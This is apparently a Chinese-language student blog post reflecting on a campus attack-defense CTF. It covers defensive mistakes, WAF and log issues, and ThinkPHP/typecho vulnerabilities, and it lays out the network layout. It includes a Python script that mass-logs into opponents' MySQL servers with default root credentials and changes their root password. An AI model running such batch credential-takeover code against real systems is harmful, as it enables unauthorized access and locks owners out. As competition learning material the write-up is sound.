第一次带队参加本校举办的线下网络攻防赛。之前参加过两场线下攻防赛,是跟着学长的,当时才学,懂的不多,所以全程是端茶递水的,赛后也没有总结一下,导致那两场都白参加了,也导致这一次准备不全面。这一次自己带队参加线下攻防赛,准备阶段和比赛阶段有很多意识和技术方面的原因导致比赛被打的很惨,又无能为力。反思记录一下,为以后的攻防比赛和实际渗透测试环境情况下做准备。
网络安全攻防比赛是一种更接近实战的比赛形式,要求参赛人员在攻击他人的同时也要做好防守。下面仅记录从本次比赛中获得的感受。
存在的诸多问题:
1、准备阶段做的不好
一个好的waf可以阻挡大部分的攻击,同时也可以详细的记录别人攻击的过程。我找的waf只挡了小部分的攻击,并且上waf的姿势没对,导致很多payload都看不到详细情况。
日志记录,一般一个好的waf就包含了日志的记录。
2、防御的整套流程不了解
看了网上很多大表哥说的什么iptables禁ip,修改命令别名这些的,等到真正比赛的时候发现权限太低,什么都做不了,一下就失去了后面防御的方向。
3、顾此失彼
因为和我一队的其他人是才入安全的,所以整支队伍其实也就我一个人。因为一共提供了3个web,而我登陆上去过后就一直在修复其中一个,忘了另两个,导致开局后被打了几次,然后还被改了数据库密码......想想真的是悔啊,那种命运掌握在别人手里的感觉。
4、对漏洞敏感不足
网上百度到了漏洞,能够copy网上的payload实现PHPinfo,但是没有代码执行的payload,代码又不是很看的懂,所有就是有漏洞存在都不知道怎么利用。(学的太菜)
5、thinkphp框架不会
其中有一个web源码用的是thinkPHP5二次开发的,tp5远程代码执行漏洞的payload在这一套源码上面需要做一些改变,但是对tp5的不熟,以及没有看出源码的路由规则,所以不知道如何利用tp5的那个远程代码执行漏洞和typecho的install.php的反序列化漏洞。(后悔将大把的时间浪费了,用来学习的时间太少)
6、日志分析能力太弱
一直显示被打,看着web抓取的日志,却又无从下手,一是日志抓取的不到位,实现payload的地方没抓取到,因为我只是在index文件里面包含了waf,所有显示的所有攻击都是/index.php,最根本的还是没有从被攻击的payload当中分析出可能出现的漏洞。
7、脚本烂,脚本烂,脚本烂......
想实现一个自动化的获取flag的脚本,无奈忘了在地址后面加web所在的端口,卧槽,我就说一直报错一直报错,还看不懂报错信息。。。。。。太粗心了。写脚本的能力太弱了(亟待加强)
8、对整个流程还是有点模糊,虽然我根据被打的payload拉回了不少分,但是也是后面才知道flag机所在的flag文件位置是写在前面黑板上的(我是背对着黑板的)。
下面我根据自己在这次比赛中获得的经历以及网上的流程自己总结一下打网络攻防时需要做的工作
比赛流程:
网上一张总结的很好的图片:
首先要先清楚网络节点的分布,知道我们自己的位置,维护的靶机位置,需要攻击的靶机位置,以及flag机地址和flag所在文件。
这次比赛的网络分布:
选手的地址:10.16.0.x
靶机的地址:192.168.0.x
flag机地址:192.168.0.2
flag文件:192.168.0.2/api/flag
这里附上一张从其他文章上面copy下来的一张图片
知道网络分布是最基本的,因为你要知道你的敌人和目标在哪儿。
收集一下其他队伍的主机:
//host.py
#coding:utf-8
with open("host.txt", "a") as f:
for i in range(10,21):
host = "192.168.0."
host = host + str(i)
f.write(host + "\n" + ":port")
//删掉自己队伍的ip
防守
先做好防守,再谈攻击,只有防守好了,丢分就不会太严重,因为被攻击一次扣的分要攻击别人两次才能补回来,成本很高。所以防守是非常重要的。
登上ssh后,第一件事修改弱口令,修改弱口令,修改弱口令
ssh,mysql,网站管理后台
有些比赛有弱口令,所有的账号都是一个账号密码,如果不修改,就等着gg吧。
这次比赛mysql账号密码是一样的,开局还不到三分钟,正在修改mysql密码,结果就被强制退出,数据库密码被人改了,网站gg,因为是批量修改,很多人密码都被改了,所以应该用的是脚本(想的周到啊)。所以啊, 尽快修改弱口令是最重要的。
(查看数据库账号密码是在网站的数据库配置文件当中)
遇到的一个小问题,是我见识浅,因为权限问题,低权限用户登录数据库后是看不到mysql数据库的。
自己写了一个批量修改mysql数据库密码的脚本:
//ModifierMysql.py
import pymysql
with open("host.txt", "r") as f:
for host in f.readlines():
host = host.replace("\n", "")
try:
db = pymysql.connect(host=host, user="root", password="root", database="mysql", charset="utf8")
cur = db.cursor()
cur.execute("UPDATE user set password=PASSWORD('test') WHERE user='root';")
db.commit()
print(host+"'s database connect successfully")
cur.execute("FLUSH PRIVILEGES;")
db.commit()
print(host+"'s privileges flush successfully")
cur.close()
db.close()
except:
print(host+"'s database connect failed")
continue
然后就是ssh的弱口令